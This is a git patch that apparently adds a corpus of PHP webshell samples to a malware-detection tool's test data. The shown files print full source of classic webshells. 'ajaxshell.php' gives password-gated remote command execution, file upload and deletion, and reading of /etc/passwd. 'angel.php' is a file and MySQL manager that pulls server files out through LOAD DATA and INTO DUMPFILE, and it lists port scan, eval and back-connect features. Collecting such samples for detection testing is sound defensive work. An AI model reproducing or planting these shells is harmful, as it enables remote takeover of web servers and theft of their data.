From 48936efa96ae17295be4e0a71be3294f0ec6aef8 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Mon, 2 May 2022 20:18:23 +0200 Subject: Make application go-install-able and create a docker image --- data/samples/artificial/bypasses.php | 7 + data/samples/artificial/dodgy.php | 18 + data/samples/artificial/obfuscated.php | 8 + data/samples/classic/ajaxshell.php | 652 ++ data/samples/classic/angel.php | 2149 ++++++ data/samples/classic/b374k.php | 10 + data/samples/classic/c100.php | 3154 ++++++++ data/samples/classic/c99.php | 3157 ++++++++ data/samples/classic/cyb3rsh3ll.php | 7923 ++++++++++++++++++++ data/samples/classic/r57.php | 2302 ++++++ data/samples/classic/simattacker.php | 756 ++ data/samples/classic/sosyete.php | 225 + data/samples/cpanel.php | 20 + data/samples/freepbx.php | 14 + data/samples/obfuscators/cipher_design.php | 2 + data/samples/obfuscators/online_php_obfuscator.php | 1 + data/samples/obfuscators/phpencode.php | 1 + data/samples/real/awvjtnz.php | 4 + data/samples/real/exceptions.php | 1 + data/samples/real/guidtz.php | 76 + data/samples/real/ice.php | 1 + data/samples/real/include.php | 4 + data/samples/real/nano.php | 1 + data/samples/real/ninja.php | 1 + data/samples/real/novahot.php | 130 + data/samples/real/srt.php | 5 + data/samples/real/sucuri_2014_04.php | 3 + data/samples/undetected/smart.php | 2 + 28 files changed, 20627 insertions(+) create mode 100644 data/samples/artificial/bypasses.php create mode 100644 data/samples/artificial/dodgy.php create mode 100644 data/samples/artificial/obfuscated.php create mode 100644 data/samples/classic/ajaxshell.php create mode 100644 data/samples/classic/angel.php create mode 100644 data/samples/classic/b374k.php create mode 100644 data/samples/classic/c100.php create mode 100644 data/samples/classic/c99.php create mode 100644 data/samples/classic/cyb3rsh3ll.php create mode 100644 data/samples/classic/r57.php create mode 100644 data/samples/classic/simattacker.php create mode 100644 data/samples/classic/sosyete.php create mode 100644 data/samples/cpanel.php create mode 100644 data/samples/freepbx.php create mode 100644 data/samples/obfuscators/cipher_design.php create mode 100644 data/samples/obfuscators/online_php_obfuscator.php create mode 100644 data/samples/obfuscators/phpencode.php create mode 100644 data/samples/real/awvjtnz.php create mode 100644 data/samples/real/exceptions.php create mode 100644 data/samples/real/guidtz.php create mode 100644 data/samples/real/ice.php create mode 100644 data/samples/real/include.php create mode 100644 data/samples/real/nano.php create mode 100644 data/samples/real/ninja.php create mode 100644 data/samples/real/novahot.php create mode 100644 data/samples/real/srt.php create mode 100644 data/samples/real/sucuri_2014_04.php create mode 100644 data/samples/undetected/smart.php (limited to 'data/samples') diff --git a/data/samples/artificial/bypasses.php b/data/samples/artificial/bypasses.php new file mode 100644 index 0000000..9d849a4 --- /dev/null +++ b/data/samples/artificial/bypasses.php @@ -0,0 +1,7 @@ + 'ClearScreen()', +'Clear History' => 'ClearHistory()', +'Can I function?' => "runcommand('canirun','GET')", +'Get server info' => "runcommand('showinfo','GET')", +'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')", +'Open ports' => "runcommand('netstat -an | grep -i listen','GET')", +'Running processes' => "runcommand('ps -aux','GET')", +'Readme' => "runcommand('shellhelp','GET')" + +); +$thisfile = basename(__FILE__); + +$style = ''; +$sess = __FILE__.$password; +if(isset($_POST['p4ssw0rD'])) +{ + if($_POST['p4ssw0rD'] == $password) + { + $_SESSION[$sess] = $_POST['p4ssw0rD']; + } + else + { + die("Wrong password"); + } + +} +if($_SESSION[$sess] == $password) +{ + if(isset($_SESSION['workdir'])) + { + if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir'])) + { + chdir($_SESSION['workdir']); + } + } + + if(isset($_FILES['uploadedfile']['name'])) + { + $target_path = "./"; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + + } + } + + if(isset($_GET['runcmd'])) + { + + $cmd = $_GET['runcmd']; + + print "".get_current_user()."~# ". htmlspecialchars($cmd)."
"; + + if($cmd == "") + { + print "Empty Command..type \"shellhelp\" for some ehh...help"; + } + + elseif($cmd == "upload") + { + print '
Uploading to: '.realpath("."); + if(is_writable(realpath("."))) + { + print "
I can write to this directory"; + } + else + { + print "
I can't write to this directory, please choose another one."; + } + + } + elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file))) + { + if(file_exists($file[1]) && is_dir($file[1])) + { + chdir($file[1]); + $_SESSION['workdir'] = $file[1]; + print "Current directory changed to ".$file[1]; + } + else + { + print "Directory not found"; + } + } + + elseif(strtolower($cmd) == "shellhelp") + { +print 'Ajax/PHP Command Shell +© By Ironfist + +The shell can be used by anyone to command any server, the main purpose was +to create a shell that feels as dynamic as possible, is expandable and easy +to understand. + +If one of the command execution functions work, the shell will function fine. +Try the "canirun" command to check this. + +Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re +not used to these commands, google a little. + +Custom Functions +If you want to add your own custom command in the Quick Commands list, check +out the code. The $function array contains \'func name\' => \'javascript function\'. +Take a look at the built-in functions for examples. + +I know this readme isn\'t providing too much information, but hell, does this shell +even require one :P + +- Iron + '; + + } + elseif(ereg("editfile (.*)",$cmd,$file)) + { + if(file_exists($file[1]) && !is_dir($file[1])) + { + print "

"; + } + else + { + print "File not found."; + } + } + elseif(ereg("deletefile (.*)",$cmd,$file)) + { + if(is_dir($file[1])) + { + if(rmdir($file[1])) + { + print "Directory succesfully deleted."; + } + else + { + print "Couldn't delete directory!"; + } + } + else + { + if(unlink($file[1])) + { + print "File succesfully deleted."; + } + else + { + print "Couldn't delete file!"; + } + } + } + elseif(strtolower($cmd) == "canirun") + { + print "If any of these functions is Enabled, the shell will function like it should.
"; + if(function_exists(passthru)) + { + print "Passthru: Enabled
"; + } + else + { + print "Passthru: Disabled
"; + } + + if(function_exists(exec)) + { + print "Exec: Enabled
"; + } + else + { + print "Exec: Disabled
"; + } + + if(function_exists(system)) + { + print "System: Enabled
"; + } + else + { + print "System: Disabled
"; + } + if(function_exists(shell_exec)) + { + print "Shell_exec: Enabled
"; + } + else + { + print "Shell_exec: Disabled
"; + } + print "
Safe mode will prevent some stuff, maybe command execution, if you're looking for a
reason why the commands aren't executed, this is probally it.
"; + if( ini_get('safe_mode') ){ + print "Safe Mode: Enabled"; + } + else + { + print "Safe Mode: Disabled"; + } + print "

Open_basedir will block access to some files you shouldn't access.
"; + if( ini_get('open_basedir') ){ + print "Open_basedir: Enabled"; + } + else + { + print "Open_basedir: Disabled"; + } + } + //About the shell + elseif(ereg("listdir (.*)",$cmd,$directory)) + { + + if(!file_exists($directory[1])) + { + die("Directory not found"); + } + //Some variables + chdir($directory[1]); + $i = 0; $f = 0; + $dirs = ""; + $filez = ""; + + if(!ereg("/$",$directory[1])) //Does it end with a slash? + { + $directory[1] .= "/"; //If not, add one + } + print "Listing directory: ".$directory[1]."
"; + print ""; + + if ($handle = opendir($directory[1])) { + while (false !== ($file = readdir($handle))) { + if(is_dir($file)) + { + $dirs[$i] = $file; + $i++; + } + else + { + $filez[$f] = $file; + $f++; + } + + } + print "
DirectoriesFiles
"; + + foreach($dirs as $directory) + { + print "[D][W]".$directory."
"; + } + + print "
"; + + foreach($filez as $file) + { + print "[D]".$file."
"; + } + + print "
"; + } + } + elseif(strtolower($cmd) == "about") + { + print "Ajax Command Shell by Ironfist.
Version $version"; + } + //Show info + elseif(strtolower($cmd) == "showinfo") + { + if(function_exists(disk_free_space)) + { + $free = disk_free_space("/") / 1000000; + } + else + { + $free = "N/A"; + } + if(function_exists(disk_total_space)) + { + $total = trim(disk_total_space("/") / 1000000); + } + else + { + $total = "N/A"; + } + $path = realpath ("."); + + print "Free: $free / $total MB
Current path: $path
Uname -a Output:
"; + + if(function_exists(passthru)) + { + passthru("uname -a"); + } + else + { + print "Passthru is disabled :("; + } + } + //Read /etc/passwd + elseif(strtolower($cmd) == "etcpasswdfile") + { + + $pw = file('/etc/passwd/'); + foreach($pw as $line) + { + print $line; + } + + + } + //Execute any other command + else + { + + if(function_exists(passthru)) + { + passthru($cmd); + } + else + { + if(function_exists(exec)) + { + exec("ls -la",$result); + foreach($result as $output) + { + print $output."
"; + } + } + else + { + if(function_exists(system)) + { + system($cmd); + } + else + { + if(function_exists(shell_exec)) + { + print shell_exec($cmd); + } + else + { + print "Sorry, none of the command functions works."; + } + } + } + } + } + } + + elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent'])) + { + $file = $_POST['filetosave']; + if(!is_writable($file)) + { + if(!chmod($file, 0777)) + { + die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^ + } + } + + $fh = fopen($file, 'w'); + $dt = $_POST['filecontent']; + fwrite($fh, $dt); + fclose($fh); + } + else + { +?> + + +Command Shell ~ <?php print getenv("HTTP_HOST"); ?> + + + + + + + + + + +
+ +

+
Quick Commands
+ +
+ $execute) +{ +print ' 
'; +} +?> + +
+ + +
+
Command history
+
+
+
About
+
+
+Ajax/PHP Command Shell
by Ironfist +
+Version + +
+
+ +
Thanks to everyone @ +SharePlaza +
+milw0rm +
+and special greetings to everyone in rootshell +
+ +
+ + + + +
+[Execute command] +[Upload file] +[Change directory] +[Filebrowser] +[Create File] + +
+ +
+
+   
+Command:
+
+
+
+
+ + + +
+
You are not logged in, please login.
Password: +
"; +} +?> \ No newline at end of file diff --git a/data/samples/classic/angel.php b/data/samples/classic/angel.php new file mode 100644 index 0000000..fdec11e --- /dev/null +++ b/data/samples/classic/angel.php @@ -0,0 +1,2149 @@ + $value) { + if (IS_GPC) { + $value = s_array($value); + } + $$key = $value; +} +/*===================== ³ÌÐòÅäÖà =====================*/ + +//echo encode_pass('angel');exit; +//angel = ec38fe2a8497e0a8d6d349b3533038cb +// Èç¹ûÐèÒªÃÜÂëÑéÖ¤,ÇëÐ޸ĵǽÃÜÂë,Áô¿ÕΪ²»ÐèÒªÑéÖ¤ +$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel + +//ÈçÄú¶Ô cookie ×÷Ó÷¶Î§ÓÐÌØÊâÒªÇó, »òµÇ¼²»Õý³£, ÇëÐÞ¸ÄÏÂÃæ±äÁ¿, ·ñÔòÇë±£³ÖĬÈÏ +// cookie ǰ׺ +$cookiepre = ''; +// cookie ×÷ÓÃÓò +$cookiedomain = ''; +// cookie ×÷Ó÷¾¶ +$cookiepath = '/'; +// cookie ÓÐЧÆÚ +$cookielife = 86400; + +//³ÌÐòËÑË÷¿ÉдÎļþµÄÀàÐÍ +!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp'; +/*===================== ÅäÖýáÊø =====================*/ + +$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8'); +if ($charset == 'utf8') { + header("content-Type: text/html; charset=utf-8"); +} elseif ($charset == 'big5') { + header("content-Type: text/html; charset=big5"); +} elseif ($charset == 'gbk') { + header("content-Type: text/html; charset=gbk"); +} elseif ($charset == 'latin1') { + header("content-Type: text/html; charset=iso-8859-2"); +} elseif ($charset == 'euc-kr') { + header("content-Type: text/html; charset=euc-kr"); +} elseif ($charset == 'euc-jp') { + header("content-Type: text/html; charset=euc-jp"); +} + +$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; +$timestamp = time(); + +/*===================== Éí·ÝÑéÖ¤ =====================*/ +if ($action == "logout") { + scookie('loginpass', '', -86400 * 365); + @header('Location: '.$self); + exit; +} +if($pass) { + if ($action == 'login') { + if ($pass == encode_pass($password)) { + scookie('loginpass',encode_pass($password)); + @header('Location: '.$self); + exit; + } + } + if ($_COOKIE['loginpass']) { + if ($_COOKIE['loginpass'] != $pass) { + loginpage(); + } + } else { + loginpage(); + } +} +/*===================== ÑéÖ¤½áÊø =====================*/ + +$errmsg = ''; +!$action && $action = 'file'; + +// ²é¿´PHPINFO +if ($action == 'phpinfo') { + if (IS_PHPINFO) { + phpinfo(); + exit; + } else { + $errmsg = 'phpinfo() function has non-permissible'; + } +} + +// ÏÂÔØÎļþ +if ($doing == 'downfile' && $thefile) { + if (!@file_exists($thefile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $fileinfo = pathinfo($thefile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header('Content-Length: '.filesize($thefile)); + @readfile($thefile); + exit; + } +} + +// Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â +if ($doing == 'backupmysql' && !$saveasfile) { + if (!$table) { + $errmsg ='Please choose the table'; + } else { + $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + $filename = basename($dbname.'.sql'); + header('Content-type: application/unknown'); + header('Content-Disposition: attachment; filename='.$filename); + foreach($table as $k => $v) { + if ($v) { + sqldumptable($v); + } + } + mysql_close(); + exit; + } +} + +// ͨ¹ýMYSQLÏÂÔØÎļþ +if($doing=='mysqldown'){ + if (!$dbname) { + $errmsg = 'Please input dbname'; + } else { + $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + if (!file_exists($mysqldlfile)) { + $errmsg = 'The file you want Downloadable was nonexistent'; + } else { + $result = q("select load_file('$mysqldlfile');"); + if(!$result){ + q("DROP TABLE IF EXISTS tmp_angel;"); + q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); + //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö + q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); + $result = q("select content from tmp_angel"); + q("DROP TABLE tmp_angel"); + } + $row = @mysql_fetch_array($result); + if (!$row) { + $errmsg = 'Load file failed '.mysql_error(); + } else { + $fileinfo = pathinfo($mysqldlfile); + header('Content-type: application/x-'.$fileinfo['extension']); + header('Content-Disposition: attachment; filename='.$fileinfo['basename']); + header("Accept-Length: ".strlen($row[0])); + echo $row[0]; + exit; + } + } + } +} + +?> + + + +<?php echo $action.' - '.$_SERVER['HTTP_HOST'];?> + + + + + + +'opform')); +makehide('action', $action); +makehide('nowpath', $nowpath); +makehide('p1', $p1); +makehide('p2', $p2); +makehide('p3', $p3); +makehide('p4', $p4); +makehide('p5', $p5); +formfoot(); + +if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; +} else { + $uid = @posix_getpwuid(@posix_geteuid()); + $gid = @posix_getgrgid(@posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; +} + +?> + + + + + + + +
/ User: ()
+ PHP / Safe Mode: + Logout | + File Manager | + MYSQL Manager | + MySQL Upload & Download | + Execute Command | + PHP Variable | + Port Scan | + Security information | + Eval PHP Code + | Back Connect +
+'); + + p(''); + + //²é¿´ËùÓпÉдÎļþºÍĿ¼ + $dirdata=array(); + $filedata=array(); + + if ($view_writable == 'dir') { + $dirdata = GetWDirList($nowpath); + $filedata = array(); + } elseif ($view_writable == 'file') { + $dirdata = array(); + $filedata = GetWFileList($nowpath); + } elseif ($findstr) { + $dirdata = array(); + $filedata = GetSFileList($nowpath, $findstr, $re); + } else { + // Ŀ¼Áбí + //scandir()ЧÂʸü¸ß + $dirs=@opendir($dir); + while ($file=@readdir($dirs)) { + $filepath=$nowpath.$file; + if(@is_dir($filepath)){ + $dirdb['filename']=$file; + $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $dirdb['dirchmod']=getChmod($filepath); + $dirdb['dirperm']=getPerms($filepath); + $dirdb['fileowner']=getUser($filepath); + $dirdb['dirlink']=$nowpath; + $dirdb['server_link']=$filepath; + $dirdata[]=$dirdb; + } else { + $filedb['filename']=$file; + $filedb['size']=sizecount(@filesize($filepath)); + $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); + $filedb['filechmod']=getChmod($filepath); + $filedb['fileperm']=getPerms($filepath); + $filedb['fileowner']=getUser($filepath); + $filedb['dirlink']=$nowpath; + $filedb['server_link']=$filepath; + $filedata[]=$filedb; + } + }// while + unset($dirdb); + unset($filedb); + @closedir($dirs); + } + @sort($dirdata); + @sort($filedata); + $dir_i = '0'; + + p(''); + makehide('action','file'); + makehide('thefile'); + makehide('doing'); + makehide('dir',$nowpath); + + foreach($dirdata as $key => $dirdb){ + if($dirdb['filename']!='..' && $dirdb['filename']!='.') { + if($getdir && $getdir == $dirdb['server_link']) { + $attachsize = dirsize($dirdb['server_link']); + $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown'; + } else { + $attachsize = 'Stat'; + } + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $dir_i++; + } else { + if($dirdb['filename']=='..') { + p(''); + p(''); + p(''); + } + } + } + + p(''); + $file_i = '0'; + + foreach($filedata as $key => $filedb){ + if($filedb['filename']!='..' && $filedb['filename']!='.') { + $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']); + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + $file_i++; + } + } + p(''); + p(''); + p('
+'createdir')); + makehide('newdirname'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileperm')); + makehide('newperm'); + makehide('pfile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'copyfile')); + makehide('sname'); + makehide('tofile'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'rename')); + makehide('oldname'); + makehide('newfilename'); + makehide('dir',$nowpath); + formfoot(); + formhead(array('name'=>'fileopform', 'target'=>'_blank')); + makehide('action'); + makehide('opfile'); + makehide('dir'); + formfoot(); + formhead(array('name'=>'getsize')); + makehide('getdir'); + makehide('dir'); + formfoot(); + + $free = @disk_free_space($nowpath); + !$free && $free = 0; + $all = @disk_total_space($nowpath); + !$all && $all = 0; + $used = $all-$free; + p('

File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)

'); + + $cwd_links = ''; + $path = explode('/', $nowpath); + $n=count($path); + for($i=0;$i<$n-1;$i++) { + $cwd_links .= ''.$path[$i].'/'; + } + +?> + +
+ + + + + +
()
+ + + + + + + + + +Drives) { + echo '
'; + $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); + $comma = ''; + foreach($obj->Drives as $drive) { + if ($drive->Path) { + p($comma.''.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')'); + $comma = '|'; + } + } + echo '
'; + } + } +?> +
+
'); + p('
'); + p('WebRoot'); + p(' | ScriptPath'); + p(' | View All'); + p(' | View Writable ( Directory'); + p(' | File )'); + p(' | Create Directory | Create File'); + + p('
Find string in files(current folder): Type: Regular expressions
 FilenameLast modifiedSizeChmod / PermsAction
'.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.''); + p(''.$dirdb['dirchmod'].' / '); + p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Rename
-Parent Directory
'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? ''.$filedb['filename'].'' : $filedb['filename']).''.$filedb['mtime'].''.$filedb['size'].''); + p(''.$filedb['filechmod'].' / '); + p(''.$filedb['fileperm'].''.$filedb['fileowner'].''); + p('Down | '); + p('Copy | '); + p('Edit | '); + p('Rename'); + p('
 FilenameLast modifiedSizeChmod / PermsAction
Delete selected'.$dir_i.' directories / '.$file_i.' files
'); +}// end dir + +elseif ($action == 'sqlfile') { + if($doing=="mysqlupload"){ + $file = $_FILES['uploadfile']; + $filename = $file['tmp_name']; + if (file_exists($savepath)) { + m('The goal file has already existed'); + } else { + if(!$filename) { + m('Please choose a file'); + } else { + $fp=@fopen($filename,'r'); + $contents=@fread($fp, filesize($filename)); + @fclose($fp); + $contents = bin2hex($contents); + if(!$upname) $upname = $file['name']; + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';"); + m($result ? 'Upload success' : 'Upload has failed: '.mysql_error()); + } + } + } +?> + +'MYSQL Information','name'=>'dbinfo')); + makehide('action','sqlfile'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBName:'); + makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + p('

'); + formfoot(); + p('
'); + p('

Upload file

'); + p('

This operation the DB user must has FILE privilege

'); + p('

Save path(fullpath): Choose a file: Upload

'); + p('

Download file

'); + p('

File: Download

'); + makehide('dbhost'); + makehide('dbport'); + makehide('dbuser'); + makehide('dbpass'); + makehide('dbname'); + makehide('charset'); + makehide('doing'); + makehide('action','sqlfile'); + p('
'); +} + +elseif ($action == 'mysqladmin') { + !$dbhost && $dbhost = 'localhost'; + !$dbuser && $dbuser = 'root'; + !$dbport && $dbport = '3306'; + $dbform = ''; + if(isset($dbhost)){ + $dbform .= "\n"; + } + if(isset($dbuser)) { + $dbform .= "\n"; + } + if(isset($dbpass)) { + $dbform .= "\n"; + } + if(isset($dbport)) { + $dbform .= "\n"; + } + if(isset($dbname)) { + $dbform .= "\n"; + } + if(isset($charset)) { + $dbform .= "\n"; + } + + if ($doing == 'backupmysql' && $saveasfile) { + if (!$table) { + m('Please choose the table'); + } else { + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + $fp = @fopen($path,'w'); + if ($fp) { + foreach($table as $k => $v) { + if ($v) { + sqldumptable($v, $fp); + } + } + fclose($fp); + $fileurl = str_replace(SA_ROOT,'',$path); + m('Database has success backup to '.$path.''); + mysql_close(); + } else { + m('Backup failed'); + } + } + } + if ($insert && $insertsql) { + $keystr = $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + if ($val) { + $keystr .= $tmp.$key; + $valstr .= $tmp."'".addslashes($val)."'"; + $tmp = ','; + } + } + if ($keystr && $valstr) { + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error()); + } + } + if ($update && $insertsql && $base64) { + $valstr = $tmp = ''; + foreach($insertsql as $key => $val) { + $valstr .= $tmp.$key."='".addslashes($val)."'"; + $tmp = ','; + } + if ($valstr) { + $where = base64_decode($base64); + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error()); + } + } + if ($doing == 'del' && $base64) { + $where = base64_decode($base64); + $delete_sql = "DELETE FROM $tablename WHERE $where"; + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error()); + } + + if ($tablename && $doing == 'drop') { + $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport); + if (q("DROP TABLE $tablename")) { + m('Drop table of success'); + $tablename = ''; + } else { + m(mysql_error()); + } + } + + formhead(array('title'=>'MYSQL Manager')); + makehide('action','mysqladmin'); + p('

'); + p('DBHost:'); + makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost)); + p(':'); + makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport)); + p('DBUser:'); + makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser)); + p('DBPass:'); + makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass)); + p('DBCharset:'); + makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1)); + makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt')); + p('

'); + formfoot(); + + //²Ù×÷¼Ç¼ + formhead(array('name'=>'recordlist')); + makehide('doing'); + makehide('action','mysqladmin'); + makehide('base64'); + makehide('tablename'); + p($dbform); + formfoot(); + + //Ñ¡¶¨Êý¾Ý¿â + formhead(array('name'=>'setdbname')); + makehide('action','mysqladmin'); + p($dbform); + if (!$dbname) { + makehide('dbname'); + } + formfoot(); + + //Ñ¡¶¨±í + formhead(array('name'=>'settable')); + makehide('action','mysqladmin'); + p($dbform); + makehide('tablename'); + makehide('page',$page); + makehide('doing'); + formfoot(); + + $cachetables = array(); + $pagenum = 30; + $page = intval($page); + if($page) { + $start_limit = ($page - 1) * $pagenum; + } else { + $start_limit = 0; + $page = 1; + } + if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { + $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); + //»ñÈ¡Êý¾Ý¿âÐÅÏ¢ + $mysqlver = mysql_get_server_info(); + p('

MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'

'); + $highver = $mysqlver > '4.1' ? 1 : 0; + + //»ñÈ¡Êý¾Ý¿â + $query = q("SHOW DATABASES"); + $dbs = array(); + $dbs[] = '-- Select a database --'; + while($db = mysql_fetch_array($query)) { + $dbs[$db['Database']] = $db['Database']; + } + makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1)); + $tabledb = array(); + if ($dbname) { + p('

'); + p('Current dababase: '.$dbname.''); + if ($tablename) { + p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]'); + } + p('

'); + mysql_select_db($dbname); + + $getnumsql = ''; + $runquery = 0; + if ($sql_query) { + $runquery = 1; + } + $allowedit = 0; + if ($tablename && !$sql_query) { + $sql_query = "SELECT * FROM $tablename"; + $getnumsql = $sql_query; + $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; + $allowedit = 1; + } + p('
'); + p('

Run SQL query/queries on database '.$dbname.':

'); + makehide('tablename', $tablename); + makehide('action','mysqladmin'); + p($dbform); + p('
'); + if ($tablename || ($runquery && $sql_query)) { + if ($doing == 'structure') { + $result = q("SHOW FULL COLUMNS FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p('

Structure

'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + $result = q("SHOW INDEX FROM $tablename"); + $rowdb = array(); + while($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + p('

Indexes

'); + p('
FieldTypeCollationNullKeyDefaultExtraPrivilegesComment
'.$row['Field'].''.$row['Type'].''.$row['Collation'].' '.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' '.$row['Privileges'].' '.$row['Comment'].' 
'); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + foreach ($rowdb as $row) { + $thisbg = bg(); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + p(''); + } + tbfoot(); + } elseif ($doing == 'insert' || $doing == 'edit') { + $result = q('SHOW COLUMNS FROM '.$tablename); + while ($row = mysql_fetch_array($result)) { + $rowdb[] = $row; + } + $rs = array(); + if ($doing == 'insert') { + p('

Insert new line in '.$tablename.' table »

'); + } else { + p('

Update record in '.$tablename.' table »

'); + $where = base64_decode($base64); + $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1"); + $rs = mysql_fetch_array($result); + } + p(''); + p($dbform); + makehide('action','mysqladmin'); + makehide('tablename',$tablename); + p('
KeynameTypeUniquePackedSeq_in_indexFieldCardinalityCollationNullComment
'.$row['Key_name'].''.$row['Index_type'].''.($row['Non_unique'] ? 'No' : 'Yes').' '.($row['Packed'] === null ? 'No' : $row['Packed']).' '.$row['Seq_in_index'].''.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' '.($row['Cardinality'] ? $row['Cardinality'] : 0).' '.$row['Collation'].' '.$row['Null'].' '.$row['Comment'].' 
'); + foreach ($rowdb as $row) { + if ($rs[$row['Field']]) { + $value = htmlspecialchars($rs[$row['Field']]); + } else { + $value = ''; + } + $thisbg = bg(); + p(''); + if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') { + p(''); + } else { + p(''); + } + } + if ($doing == 'insert') { + p(''); + } else { + p(''); + makehide('base64', $base64); + } + p('
'.$row['Field'].'
'.$row['Type'].'
'.$value.' 
'.$row['Field'].'
'.$row['Type'].'
